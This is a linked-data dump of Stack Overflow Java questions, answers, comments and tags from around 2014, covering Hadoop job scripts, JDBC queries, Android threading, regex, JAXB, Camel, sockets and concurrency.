has body: It's difficult to provide an exact solution without knowing how your files are organized. You could use the main method of a Java file. public static void main(String[] args) throws Exception { JobConf conf = new JobConf(calcAll.class); conf.setJobName("name"); conf.setOutputKeyClass(Text.class); conf.setOutputValueClass(DoubleWritable.class); //or ObjectWritable, or whatever conf.setMapperClass(mapper.class); conf.setCombinerClass(reducer.class); //if your combiner is just a local reducer conf.setReducerClass(reducer.class); conf.setInputFormat(TextInputFormat.class); //assuming you are feeding it text conf.setOutputFormat(TextOutputFormat.class); FileInputFormat.setInputPaths(conf, new Path(args[0])); Path out1 = new Path(args[1]); FileOutputFormat.setOutputPath(conf, out1); JobClient.runJob(conf); // blocking call } Then you can run the thing with a sh file, like this (remove out2 if you only do one job/pass) #!/usr/bin/env bash # Export environment variable export HADOOP_HOME=/yourPathHere # Remove old cruft rm ClassWithMain.jar rm -rf MyProject_classes # Compile the task (check your Hadoop version and Apache lib path) javac -classpath $HADOOP_HOME/share/hadoop/common/hadoop-common-2.2.0.jar:$HADOOP_HOME/share/hadoop/mapreduce/hadoop-mapreduce-client-core-2.2.0.jar:$HADOOP_HOME/share/hadoop/common/lib/commons-cli-1.2.jar -d MyProject_classes ClassWithMain.java jar -cvf ClassWithMain.jar -C MyProject_classes/ . # Abort if compilation failed exitValue=$? if [ $exitValue != 0 ]; then exit $exitValue fi # File names out1=out1-`date +%Y%m%d%H%M%S` out2=out2-`date +%Y%m%d%H%M%S` # Create an empty file hadoop fs -touchz ./$out2 # Submit the 1st job hadoop jar ClassWithMain.jar org.myorg.ClassWithMain /data ./$out1 ./$out1/merged ./$out2 # Display the results hadoop fs -cat ./$out1/merged hadoop fs -cat ./$out2 # Cleanup hadoop fs -rm -r ./out* If you need to do more operations after you run the job, you can add these lines to the main // the output is a set of files, m…
score: 0
has comment: http://stackoverflow.com/comment/33683129
has comment: http://stackoverflow.com/comment/33698493
type: Answer
answers question: http://stackoverflow.com/q/22171853

textures
tags question: http://stackoverflow.com/q/22263288
tags question: http://stackoverflow.com/q/22300789
tag name: textures
tags question: http://stackoverflow.com/q/22200207
type: Tag

adaptive-design
type: Tag
tags question: http://stackoverflow.com/q/22251741
tag name: adaptive-design

http://stackoverflow.com/q/22259809
has answer: http://stackoverflow.com/a/22259906
answer count: 4
tagged with: java
tagged with: mysql
type: Question
has body: I have a successfully connected Database Manager (simple Phonebook) with some functional options like add and get all entries. Now I need to prepare a Select option, that will allow the user to search for a first, last or full name in the Table. The menu option is working, but I´m having some problem searching the Database for that specific name. What´s the correct syntax? I´m trying something like this without success: resultSet = statement.executeQuery("SELECT * FROM TableName WHERE ColumnName LIKE '%" + nameThatIsBeingSearched + "%'); I´m getting a com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column 'TABLE_NAME' in 'where clause'. Is it possible to just get the column name automatically? There´s only one column, and I´m having difficulties trying to find it´s name.
has answer: http://stackoverflow.com/a/22259992
has answer: http://stackoverflow.com/a/22259895
has comment: http://stackoverflow.com/comment/33810791
has comment: http://stackoverflow.com/comment/33810401
has title: Searching JDBC for entry
score: 0
has comment: http://stackoverflow.com/comment/33810873
has answer: http://stackoverflow.com/a/22259967
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33810610
tagged with: jdbc

http://stackoverflow.com/q/22317659
accepted answer: http://stackoverflow.com/a/22600022
tagged with: java
has body: I have a thread with a priority set to Thread.MIN_PRIORITY + 1 that does some image processing for me (resizing, reading and writing). I've noticed that whenever that thread is working on an image, animations in my UI thread start to stutter and freeze up. The priority is low enough such that animations should take a higher priority over that thread, and my CPU certainly isn't starved for resources. Is there any particular reason this might be happening? Edit - my thread: public class WorkerQueue extends Thread { public Handler handler; int priority = Thread.MIN_PRIORITY + 1; private static WorkerQueue self = null; public static WorkerQueue getInstance() { if (self == null) { self = new WorkerQueue(); self.start(); self.setPriority(priority); } return self; } @Override public void run() { Looper.prepare(); handler = new Handler(); handler.getLooper().getThread().setPriority(priority); Looper.loop(); } public synchronized void enqueueTask(final Worker task) { handler.post(new Runnable() { @Override public void run() { task.run(); } }); } }
has comment: http://stackoverflow.com/comment/33914040
tagged with: ui-thread
type: Question
score: 2
downvote count: 0
favorite count: 0
answer count: 3
tagged with: android
has answer: http://stackoverflow.com/a/22600448
has answer: http://stackoverflow.com/a/22600022
possible better answer: http://stackoverflow.com/a/22318255
has answer: http://stackoverflow.com/a/22318255
has title: UI Thread and Image processing
upvote count: 2
tagged with: multithreading
has comment: http://stackoverflow.com/comment/33915094
type: AnsweredQuestion
tagged with: performance

http://stackoverflow.com/a/22218613
score: 0
has comment: http://stackoverflow.com/comment/33737386
has comment: http://stackoverflow.com/comment/33734886
type: Answer
has body: You'd be better off using ProcessBuilder, or at least the Runtime.exec that takes a String[] rather than a single string, as the single-string exec almost certainly doesn't split up words the way you want it to. Process objProcess = Runtime.getRuntime().exec(new String[] { "cmd", "/c", "reg", "add", "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update", "/v", "AUOptions", "/t", "REG_DWORD", "/d", "1", "/f" }); You don't need to add additional quotes round the arguments that contain spaces.
answers question: http://stackoverflow.com/q/22218427

http://stackoverflow.com/a/22234727
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/118645874
type: Answer
accepted answer of: http://stackoverflow.com/q/22211038
has body: So I it turns out my IDE intellij-dea was messing up my build. I thought that since I had maven configured, that it would just be running pure maven, under the hood. In my IDE I had configured an installed Directory for Axis2-1.6.0 to be used before my maven dependencies. Axis-2 was left over from an OLD version of my application and held duplicates of a lot dependencies including something called Neethi, which I've seen listed else where as a potential source of this error with CXF.
answers question: http://stackoverflow.com/q/22211038
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/71362207

http://stackoverflow.com/comment/33794561
type: AnswerComment
type: Comment
has text: @libathos Will stretch til your bitmap fits? Set it to `match_parent` And load the image based on the maximum space is capable of fitting in. Or specify your own desired width, and the imageview will take the same size.
comment on: http://stackoverflow.com/a/22250640
score: 0

http://stackoverflow.com/comment/33862644
has text: Then your code is wrong. Use `a[i] == 0 && a[i+1] == 0 && a[i+2] == 0 && a[i+3] == 0` instead.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22288872
score: 3

http://stackoverflow.com/comment/33792379
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22249269
has text: thank you for the find tips, this is what I've been looking for

spongycastle
type: Tag
tags question: http://stackoverflow.com/q/22228711
tag name: spongycastle
tags question: http://stackoverflow.com/q/22326843

http://stackoverflow.com/comment/33715361
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22207509
has text: My god that looks complex... Right, so i'm trying to work out the z value of the drawn quad thats underneath an entity that will move over it. If i still can ray cast, i'd like to because it strikes me as helpful
type: Comment

http://stackoverflow.com/q/22236626
answer count: 2
has answer: http://stackoverflow.com/a/22237006
has body: Need a little help to construct a regular expression for this scenario: Contents: IfThisIsPresent: Look: NeedToExtractThat So: if string IfThisIsPresent: is in my string, I should extract what is right after Look: string. I developed the following RegEx, but it's not working: ((?<=IfThisIsPresent:)Look:(.*)) I know Java Pattern class doesn't support if then else. So I'm using lookbehind to check if IfThisIsPresent exists, then extract what is after Look:. Could someone help? Appreciated!
tagged with: lookbehind
score: 2
tagged with: regex-lookarounds
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/22237006
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/22236838
tagged with: regex
has title: Java RegEx lookbehind construction
possible better answer: http://stackoverflow.com/a/22236838
upvote count: 2
tagged with: java

http://stackoverflow.com/comment/33820903
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22265745
has text: I didn't mention "object", but only "class". More broadly, static things are typically initialized only once the first time and stay in computer memory until the program finishes execution.
score: 0

http://stackoverflow.com/comment/33895308
score: 1
has text: Try removing the tools:context tags, some are pointing to the fragment, some to the activity. Not sure if that'll help, but it might work.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22306477

http://stackoverflow.com/a/22259616
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22237733
type: Answer
has body: With EclipseLink JAXB (MOXy) you can use the SESSION_EVENT_LISTENER property to enable lazy initialization on the underlying metadata as follows: import java.util.*; import javax.xml.bind.JAXBContext; import org.eclipse.persistence.descriptors.ClassDescriptor; import org.eclipse.persistence.jaxb.JAXBContextProperties; import org.eclipse.persistence.oxm.XMLDescriptor; import org.eclipse.persistence.sessions.*; public class Demo { public static void main(String[] args) throws Exception { Map&lt;String, Object&gt; properties = new HashMap&lt;String, Object&gt;(); properties.put(JAXBContextProperties.SESSION_EVENT_LISTENER, new SessionEventAdapter() { @Override public void preLogin(SessionEvent event) { for(Map.Entry&lt;Class, ClassDescriptor&gt; entry : event.getSession().getProject().getDescriptors().entrySet()) { XMLDescriptor a; ((XMLDescriptor) entry.getValue()).setLazilyInitialized(true); } } }); JAXBContext jc = JAXBContext.newInstance(new Class[] {Root.class}, properties); } } The JAXB reference implementation has a similar property which I can't find at the moment. If no one posts that as an answer you can post a question to their mailing list: https://java.net/projects/jaxb/lists/
has comment: http://stackoverflow.com/comment/34780902
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/22237733

http://stackoverflow.com/comment/33880350
comment on: http://stackoverflow.com/q/22298945
score: 0
type: Comment
has text: @Youngistan can u please tell me a statement through which i can import a calss inside that .jar. as u said i added the path of this jar in my classpath in environment variable.
type: QuestionComment

session-timeout
type: Tag
tags question: http://stackoverflow.com/q/22192286
tag name: session-timeout

http://stackoverflow.com/comment/33670472
has text: Can't you just use indexOf/substring to search for the '{' and '}'?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22182415

http://stackoverflow.com/q/22207018
type: Question
has title: How to implement an event-driven consumer in Apache Camel and get JMS Message
has answer: http://stackoverflow.com/a/22218165
score: 0
answer count: 1
tagged with: jms
type: UnansweredQuestion
has body: Hi I'm struggling with Apache Camel, i want the "real" javax.jms.TextMessage in my custom Consumer-Bean. But all I get is the Message-Text as String. Config: &lt;camelContext xmlns="http://camel.apache.org/schema/spring"&gt; &lt;route id="route_dispatching"&gt; &lt;from uri="activemq:queue:queue.dispatcher.replyqueue"/&gt; &lt;to uri="bean:dispatcherbean"/&gt; &lt;/route&gt; &lt;/camelContext&gt; &lt;bean id="dispatcherbean" class="com.company.Dispatcher"/&gt; Code of Dispatcher Bean: public class Dispatcher{ private static final Log LOG = LogFactory.getLog(Dispatcher.class); public void handleEvent(Object eventPayload) throws Exception { LOG.info("got an event"); } } The eventPayload Object is of type String and not javax.jms.TextMessage. I tried to change uri="activemq:queue to uri="jms:queue, but then I get some Errors about missing Connection Factories :-( Hope someone may help? Regards, Tobi
tagged with: spring
tagged with: activemq-classic
tagged with: java
tagged with: apache-camel

http://stackoverflow.com/comment/33661781
comment on: http://stackoverflow.com/a/22177840
type: AnswerComment
score: 0
type: Comment
has text: THX :D It works now - I implemented Serializable in my class I was creating the file, but not the Objects class. So thx.

http://stackoverflow.com/q/22264972
score: 0
has title: using sockets to send events in java
tagged with: tcp
type: UnansweredQuestion
tagged with: sockets
has comment: http://stackoverflow.com/comment/33819882
tagged with: node.js
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22265016
answer count: 1
has body: I have a simple socket-server written in node.js: var net = require("net"); var clients = []; net.createServer(function(socket){ //Identify this client socket.name = socket.remoteAddress + ":" + socket.remotePort; //Put this new client in the list clients.push(socket); //Send welcome message socket.write("Welcome " + socket.name + "\n"); broadcast(socket.name + " joined the room \n"); //Handle incoming messages from clients socket.on('data', function(data){ broadcast(socket.name + "&gt; " + data, socket); }); //Remove client when it leaves socket.on('end', function(){ clients.splice(clients.indexOf(socket), 1); broadcast(socket.name + " left the chat.\n"); }); socket.on('error', function(err){ console.log(err); }); function broadcast(message, sender){ clients.forEach(function(client){ if(client === sender) return; client.write(message); }); console.log(message); } }).listen(5000); console.log("Chat server running at port 5000\n"); Here as you can see, this socket server is able to recognize events {'error', 'end', 'data'} and I could define more if I wanted to! My question is, how do I send events to it in Java? Here is a simple TCP-Client I found online here: import java.lang.*; import java.io.*; import java.net.*; class Client { public static void main(String args[]) { try { Socket skt = new Socket("localhost", 1234); BufferedReader in = new BufferedReader(new InputStreamReader(skt.getInputStream())); System.out.print("Received string: '"); while (!in.ready()) {} System.out.println(in.readLine()); // Read one line and output it System.out.print("'\n"); in.close(); } catch(Exception e) { System.out.print("Whoops! It didn't work!\n"); } } } In this code, how would I change it so that I can send events such as {'error', 'end', 'data'}

http://stackoverflow.com/a/22312654
has body: You can use mockito and either create a mock that return real methods, then override the behaviour for the method you want to mock, or use spy, which creates a mock that wraps a real instance of your object. Here's a tutorial on mockito spy. Edit: Since the method to be mocked is private, and as @fge mentioned, you would need mocking library that exposes private method. And powermock, does just that.
upvote count: 2
has comment: http://stackoverflow.com/comment/33905542
type: Answer
downvote count: 1
has comment: http://stackoverflow.com/comment/33905331
has comment: http://stackoverflow.com/comment/33905670
score: 1
has comment: http://stackoverflow.com/comment/33905939
has comment: http://stackoverflow.com/comment/33905815
answers question: http://stackoverflow.com/q/22312541

http://stackoverflow.com/a/25480375
upvote count: 2
has body: As far as I can see, there is nothing wrong with the code. As you're saying 1 or 2 kb of data uploading works fine. So, In my opinion, there is problem with your internet. Might be it's too slow to upload a file size of 50 kb or more.
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22197069
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/22197069

http://stackoverflow.com/a/22266169
type: Answer
downvote count: 0
score: 1
has body: You can convert like this 1.58e-6=1.58*10^-6=0.00000158
answers question: http://stackoverflow.com/q/22266142
has comment: http://stackoverflow.com/comment/33821372
upvote count: 1

http://stackoverflow.com/a/22310471
has body: You need to assign the return value from fixCapitalization() method like this, because String is immutable and it will not change the value of the same String that you're passing to fixCapitalization(). So try this: String in = adjectives.next(); in = fixCapitalization(in);
type: Answer
upvote count: 1
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/22310413

http://stackoverflow.com/q/22196185
answer count: 4
has answer: http://stackoverflow.com/a/22196290
type: AnsweredQuestion
tagged with: builder
tagged with: instance
tagged with: java
type: Question
linked to: http://stackoverflow.com/q/7486012
tagged with: class
score: 0
has answer: http://stackoverflow.com/a/22197563
has answer: http://stackoverflow.com/a/22196206
upvote count: 1
accepted answer: http://stackoverflow.com/a/22196206
downvote count: 1
has comment: http://stackoverflow.com/comment/33694621
favorite count: 0
has title: How to instance the nested class when have a same method name as class name?
has answer: http://stackoverflow.com/a/22196583
possible better answer: http://stackoverflow.com/a/22196290
has body: Code first. class A { private A(){} public static A.Builder Builder() { /** * ERROR: * No enclosing instance of type A is accessible. * Must qualify the allocation with an enclosing instance of type A * (e.g. x.new A() where x is an instance of A). */ return new A.Builder(); // Error too //return new Builder(); } public class Builder { private Builder() {} } } Q: How to instance the builder but do not change the static Builder and nested class name ? EDIT If the class is static, how to save the date for every builder ? how to chain the build process ? public static class Builder { private Builder() {} public Builder add(int a) { return this;// how to chain the build process ? } public Builder add(float a); public List&lt;Double&gt; Build(); } OK, I should google java builder pattern first.Here is an example.

http://stackoverflow.com/tag/json
tags question: http://stackoverflow.com/q/22194764
tags question: http://stackoverflow.com/q/22302319
tags question: http://stackoverflow.com/q/22307382
tags question: http://stackoverflow.com/q/22181378
tags question: http://stackoverflow.com/q/22295422
tags question: http://stackoverflow.com/q/22281745
tags question: http://stackoverflow.com/q/22182871
tags question: http://stackoverflow.com/q/22191554
tags question: http://stackoverflow.com/q/22306511
tags question: http://stackoverflow.com/q/22184711
tags question: http://stackoverflow.com/q/22273484
tags question: http://stackoverflow.com/q/22203243
tags question: http://stackoverflow.com/q/22315446
tags question: http://stackoverflow.com/q/22270165
tags question: http://stackoverflow.com/q/22285721
tags question: http://stackoverflow.com/q/22248171
tags question: http://stackoverflow.com/q/22223497
tags question: http://stackoverflow.com/q/22260265
tags question: http://stackoverflow.com/q/22189802
tags question: http://stackoverflow.com/q/22203245
tags question: http://stackoverflow.com/q/22236282
tags question: http://stackoverflow.com/q/22271321
tags question: http://stackoverflow.com/q/22174560
tags question: http://stackoverflow.com/q/22188834
tags question: http://stackoverflow.com/q/22243980
tags question: http://stackoverflow.com/q/22299512
tags question: http://stackoverflow.com/q/22298404
tags question: http://stackoverflow.com/q/22276168
tags question: http://stackoverflow.com/q/22189458
type: Tag
tags question: http://stackoverflow.com/q/22246938
tags question: http://stackoverflow.com/q/22262388
tags question: http://stackoverflow.com/q/22189659
tags question: http://stackoverflow.com/q/22258487
tags question: http://stackoverflow.com/q/22293873
tags question: http://stackoverflow.com/q/22271099
tags question: http://stackoverflow.com/q/22321962
tags question: http://stackoverflow.com/q/22257397
tags question: http://stackoverflow.com/q/22213096
tags question: http://stackoverflow.com/q/22233789
tags question: http://stackoverflow.com/q/22259550
tags question: http://stackoverflow.com/q/22326043
tags question: http://stackoverflow.com/q/22203709
tags question: http://stackoverflow.com/q/22257701
tags question: http://stackoverflow.com/q/22267013
tags question: http://stackoverflow.com/q/22280505
tags question: http://stackoverflow.com/q/22227642
tags question: http://stackoverflow.com/q/22223601
tags question: http://stackoverflow.com/q/22221000
tags question: http://stackoverflow.com/q/22235569
tags question: http://stackoverflow.com/q/22326437
tags question: http://stackoverflow.com/q/22269575
tags question: http://stackoverflow.com/q/22171292
tags question: http://stackoverflow.com/q/22301169
tags question: http://stackoverflow.com/q/22284573
tags question: http://stackoverflow.com/q/22172607
tags question: http://stackoverflow.com/q/22239836
tags question: http://stackoverflow.com/q/22195063
tag name: json
tags question: http://stackoverflow.com/q/22189098
tags question: http://stackoverflow.com/q/22233908
tags question: http://stackoverflow.com/q/22303615
tags question: http://stackoverflow.com/q/22208009
tags question: http://stackoverflow.com/q/22285661
tags question: http://stackoverflow.com/q/22306010
tags question: http://stackoverflow.com/q/22302851
tags question: http://stackoverflow.com/q/22185776
tags question: http://stackoverflow.com/q/22310143
tags question: http://stackoverflow.com/q/22229250
tags question: http://stackoverflow.com/q/22308448
tags question: http://stackoverflow.com/q/22173418
tags question: http://stackoverflow.com/q/22212158
tags question: http://stackoverflow.com/q/22237660
tags question: http://stackoverflow.com/q/22244147
tags question: http://stackoverflow.com/q/22188997
tags question: http://stackoverflow.com/q/22280511
tags question: http://stackoverflow.com/q/22243320
tags question: http://stackoverflow.com/q/22235284
tags question: http://stackoverflow.com/q/22183160
tags question: http://stackoverflow.com/q/22267613

http://stackoverflow.com/a/22311955
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/33904321
has body: What you want is an Application Bundle. It include a properties file (Info.plist) where you can set things like Xmx, etc. You can also use Oracle's appbundler tool to create an application bundle. Another no-brainer option is to create a shell script. Something like this: #!/bin/bash java -jar myJar.jar
downvote count: 0
upvote count: 3
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22311903
accepted answer of: http://stackoverflow.com/q/22311903

http://stackoverflow.com/a/22237241
has comment: http://stackoverflow.com/comment/33773760
has comment: http://stackoverflow.com/comment/33774384
has comment: http://stackoverflow.com/comment/33769836
has comment: http://stackoverflow.com/comment/33769749
has comment: http://stackoverflow.com/comment/33774220
score: 12
has comment: http://stackoverflow.com/comment/33771171
has comment: http://stackoverflow.com/comment/33769227
downvote count: 0
has body: Which one do you think is faster and better? Interesting question. The speed of this would probably only be visible if you are doing some very large number of cycles. Otherwise worrying about it smacks as premature optimization. I would pick the pattern that is the cleanest and most easily maintained. Under the covers, both methods use the Unsafe.compareAndSwapInt(...) so the performance may be very similar. Since there is no blocking with accessing of volatile storage, this is not about collisions. The AtomicBoolean array will certain have a larger number of objects associated with it – each with their own volatile storage. Also, under the covers the AtomicBoolean stores the boolean value as an int so no savings there. My instinct tells me to use the AtomicIntegerArray. Less code for you to write which typically means more reliance on the JDK to do the right thing. To figure it out you would have to test some large number of iterations on your production architecture to know for sure. I suspect the difference is going to be negligible and hard to measure. Not a great answer but hopefully something helpful here. Edit: So I just ran some tests and I can't see any significant differences. Here's my little test program. It used 100 threads and ran 10 million iterations and they were within 0-10% of each other. As @mttdbrd points out, this is in no way a "real life" test. Only benching this in production with the code actually functioning like it should before you truly know if there is a difference. Edit: Ok after tweaking my program to make sure I warmed up the hotspot compiler per @mttdbrd's document, and changing the program to be able to better tune the number of entries, I see some interesting results. With 1000 elements in the arrays: AtomicIntegerArray in 4224 millis AtomicBoolean[] in 3546 millis (always a little bit faster) However with 10 elements in the array: AtomicIntegerArray in 26506 millis AtomicBoolean[] in 13263 millis (much faster) Notice also the sp…
has comment: http://stackoverflow.com/comment/33770171
has comment: http://stackoverflow.com/comment/33771652
has comment: http://stackoverflow.com/comment/33770002
has comment: http://stackoverflow.com/comment/48930593
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22236928
has comment: http://stackoverflow.com/comment/33773788
upvote count: 12
has comment: http://stackoverflow.com/comment/33774256
accepted answer of: http://stackoverflow.com/q/22236928
type: Answer
has comment: http://stackoverflow.com/comment/33770358
has comment: http://stackoverflow.com/comment/33771355
has comment: http://stackoverflow.com/comment/33770451

http://stackoverflow.com/comment/33706684
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22200066
score: 0
has text: What do you mean? Do you like to hide the implementation details in a not-public method?

http://stackoverflow.com/a/22311119
has body: You're right that you could do all the sanitation yourself, and thus be safe from injection. But this is more error-prone, and thus less safe. In other words, doing it yourself introduces more chances for bugs that could lead to injection vulnerabilities. One problem is that escaping rules could vary from DB to DB. For instance, standard SQL only allows string literals in single quotes ('foo'), so your sanitation might only escape those; but MySQL allows string literals in double quotes ("foo"), and if you don't sanitize those as well, you'll have an injection attack if you use MySQL. If you use PreparedStatement, the implementation for that interface is provided by the appropriate JDBC Driver, and that implementation is responsible for escaping your input. This means that the sanitization code is written by the people who wrote the JDBC driver as a whole, and those people presumably know the ins and outs of the DB's specific escaping rules. They've also most likely tested those escaping rules more thoroughly than you'd test your hand-rolled escaping function. So, if you write preparedStatement.setString(1, name), the implementation for that method (again, written by the JDBC driver folks for the DB you're using) could be roughly like: public void setString(int idx, String value) { String sanitized = ourPrivateSanitizeMethod(value); internalSetString(idx, value); } (Keep in mind that the above code is an extremely rough sketch; a lot of JDBC drivers actually handle it quite differently, but the principle is basically the same.) Another problem is that it could be non-obvious whether myUserInputVar has been sanitized or not. Take the following snippet: private void updateUser(int name, String id) throws SQLException { myStat.executeUpdate("UPDATE user SET name=" + name + " WHERE id=" + id); } Is that safe? You don't know, because there's nothing in the code to indicate whether name is sanitized or not. And you can't just re-sanitize "to be on the safe side", because …
has comment: http://stackoverflow.com/comment/33903091
has comment: http://stackoverflow.com/comment/33903523
answers question: http://stackoverflow.com/q/22310812
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/33903561
upvote count: 9
accepted answer of: http://stackoverflow.com/q/22310812
score: 9
has comment: http://stackoverflow.com/comment/33918403

http://stackoverflow.com/comment/33740495
score: 0
type: Comment
has text: Great!! It's exactly what I was looking for. would be possible to add an action (ej: onclick="fuction()") for each value created in my jsp. In this case an action for PC and Servers?
comment on: http://stackoverflow.com/a/22216927
type: AnswerComment

http://stackoverflow.com/q/22272577
has comment: http://stackoverflow.com/comment/33833631
has comment: http://stackoverflow.com/comment/33833527
answer count: 0
has title: GWT deploy Project on Webserver RPC
type: UnansweredQuestion
tagged with: gwt
tagged with: java
has comment: http://stackoverflow.com/comment/33833336
type: Question
has body: I made a little webapp : where i have Button when I click on it, it will get VIA RPC data from my MySQL DB. I did following steps : 1 . Compile 2 . war folder -> in my Webhoster VIA fileZila I tried a Window.alert (result.toString()); to see if i ever get a RPC onSucces but i dont, which means RPC never worked
score: 0
tagged with: rpc

http://stackoverflow.com/q/22304794
favorite count: 0
type: AnsweredQuestion
score: 2
accepted answer: http://stackoverflow.com/a/22304933
downvote count: 0
has body: I am currently making a game. In this game, there is a class called "Tile" that has a list of all tiles in this format: public static final Tile &lt;TILE_NAME&gt; = new BasicTile&lt;BasicSolidTile&gt;(id, SpriteSheetX, SpriteSheetY, 0xFFColorInMap, isBackground, isLiquid); One of the main aspects of this game is the ability to "mod" it at will (There will be a mod.smf file that has declarations of modding). In this file, you will create a new Tile like this: --Tile-- BasicTile/BasicSolidTile &lt;Name&gt;: X,Y,HexColor,&lt;Background/Foreground&gt;,&lt;NotLiquid/Liquid&gt; The ID will be calculated in the code. I was wondering how I would create more "public static final Tile's" in my Tile class using a for loop running through all the new Tiles in the mod file. Is it possible, or will I have to change how the Tile's are stored (An ArrayList for instance?)?
tagged with: java
has answer: http://stackoverflow.com/a/22305629
has title: Dynamically create a public variable Java
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/22304933
possible better answer: http://stackoverflow.com/a/22304851
has answer: http://stackoverflow.com/a/22304851
answer count: 3

http://stackoverflow.com/comment/33814180
has text: Post your Build.gradle file.
score: 1
comment on: http://stackoverflow.com/q/22261999
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33772816
comment on: http://stackoverflow.com/q/22239140
type: Comment
has text: I added the code to my question. Please take a look. Thank you.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33821026
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22265881
has text: @Shayanpourvatan Line 49 is 'return null;'. What's wrong with returning null anyway? Thanks for your help!
score: 0

http://stackoverflow.com/comment/33688077
comment on: http://stackoverflow.com/a/22192531
type: AnswerComment
score: 0
has text: This solves my problem. but what was the problem with Scanner input stream?
type: Comment

http://stackoverflow.com/comment/33892293
has text: the [size] in the array declaration is what im looking for, wouldnt you declare the array after you read the file in order to use the size indicator in the file to assign the dimensions of the array. And the String holding the data ( content ) cant be thrown into an int array so thats why i was thinking i could use a char 2d array and use Character.getNumbericValue(charArr);
comment on: http://stackoverflow.com/a/22304915
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/34012185
type: Comment
has text: @karthikeyan The path is correct. Can u elaborate more on this
type: QuestionComment
comment on: http://stackoverflow.com/q/22320951
score: 0

http://stackoverflow.com/a/22323753
has body: For deploying Java desktop apps., the best option is usually to install the app. using Java Web Start. JWS works on Windows, OS X &amp; Unix/Linux. Applet deployment has always been difficult, with weird bugs in particular versions of specific JREs in conjunction with particular browsers. My 'favorite' bug happened in a version of Firefox that triggered an applet to reload when the user scrolled up in the web page. See also The Use of Multiple JFrames, Good/Bad Practice?
upvote count: 1
answers question: http://stackoverflow.com/q/22305095
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/a/22182088
answers question: http://stackoverflow.com/q/22181873
has comment: http://stackoverflow.com/comment/33669652
has body: You could use serialization to save the state of the object to a file and load it when you launch your app. Here is a simple example with a JCheckbox: http://java-demos.blogspot.ca/2012/10/using-serialization-on-jcheckbox.html There is no way of doing it without storing the data somewhere.
type: Answer
score: 0

http://stackoverflow.com/a/22304560
has comment: http://stackoverflow.com/comment/33899056
type: Answer
has comment: http://stackoverflow.com/comment/33930937
answers question: http://stackoverflow.com/q/22296989
has comment: http://stackoverflow.com/comment/33898376
has body: I think your problem is that you want to run trunc on both ends of the date check. Like this: String sql ="SELECT CODE FROM TESTTABLE WHERE TRUNC(PROCESS_DT) = TRUNC(SYSDATE)"; Otherwise the query will only return when PROCESS_DT matches exactly with TRUNC(SYSDATE). Another possibility is that your code is connecting to a different database than your sqldeveloper.
score: 0

http://stackoverflow.com/comment/33649576
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22170869
has text: I'm not sure how that would help since I only want one bean and having multiple instances of the bean of the wrong class isn't going to improve the situation. Very simply if I do not specify the override it uses what is in the property file: which is what it should have been doing in the first place.
score: 0

http://stackoverflow.com/comment/33713144
type: QuestionComment
has text: I'm not sure what you're asking. Java, like most languages, is Turing-complete so anything *COULD* be implemented in Java. Maybe not efficiently, maybe not easily. The analogy is precisely the same as between assembler and higher-level languages.
comment on: http://stackoverflow.com/q/22206487
score: 0
type: Comment

http://stackoverflow.com/a/22191283
has comment: http://stackoverflow.com/comment/33685924
type: Answer
has comment: http://stackoverflow.com/comment/33685782
has comment: http://stackoverflow.com/comment/33685904
has body: You can use reflection, for example: List&lt;String&gt; constants = new ArrayList&lt;String&gt;(); Field[] fields = TaskStatusConstant.class.getFields(); for (Field field : fields) { if (field.getType().equals(String.class)) { constants.add(field.getName()); } } for (String constant : constants) { System.out.println(constant); }
answers question: http://stackoverflow.com/q/22191092
score: 0

http://stackoverflow.com/q/22234214
has comment: http://stackoverflow.com/comment/33762833
score: 0
has answer: http://stackoverflow.com/a/22234281
answer count: 1
has comment: http://stackoverflow.com/comment/33763888
type: UnansweredQuestion
tagged with: io
tagged with: java
tagged with: printwriter
has comment: http://stackoverflow.com/comment/33762896
type: Question
has body: I trying to figure out a way so I could write content from my methods to a file. So I figured I need some sort of printMethod that let me print stuff to the file. I've got a bunch of methods that print stuff to the console, but cant access all the varibles outside of the method. So need too find a way to print variables from different methods out to a textfile. Hope you understand.
has title: Method that prints to file

http://stackoverflow.com/q/22323303
has title: Simple way to create a hierarchical tree of dynamic mbeans?
tagged with: metrics
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/23200744
favorite count: 0
has body: I want to expose dynamic hierarchical data in jmx Is there a simple way to expose such dynamic mbeans? I was looking at: how to create dynamic mbeans but i don't like all this boilerplated code, I prefer not to invent the wheel, i'm using spring, is there a simple way to do this with spring? any other utility library which will ease the case? Sample structure (note account / features may come and go and thus jmx structure would be dynamically updated accordingly) accountA --&gt; FeatureA --&gt; metric1: 1 --&gt; metric2: 5.5 --&gt; FeatureB --&gt; metric3: 1.1 accountB . . .
tagged with: scala
tagged with: jmx
upvote count: 1
tagged with: spring
